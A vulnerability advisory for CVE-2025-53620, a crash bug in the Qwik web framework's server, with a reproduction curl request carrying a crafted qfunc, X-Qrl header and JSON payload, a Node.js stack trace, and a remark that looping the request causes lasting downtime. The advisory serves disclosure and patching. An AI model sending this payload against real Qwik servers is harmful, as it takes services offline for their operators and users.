CVE-2025-53620 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Possibility to craft a request that will crash the Qwik Server in the default configuration.
When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.
pnpm create qwik@latestpnpm run previewcurl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'
Here the qfunc query parameter, X-Qrl header and payload need to have the same qrl.
The Qwik Server will then crash with the message
qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
node:internal/process/promises:289
triggerUncaughtException(err, true /* fromPromise */);
^
Error: Dynamic require of "_.js" is not supported
at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
Node.js v21.7.2
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The same can also be repeated running Qwik in production using express.
pnpm create qwik@latestpnpm run qwik add expresspnpm run buildpnpm run servecurl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'
Any Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.
There is also the issue that this can happen without a malicious attacker. When a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.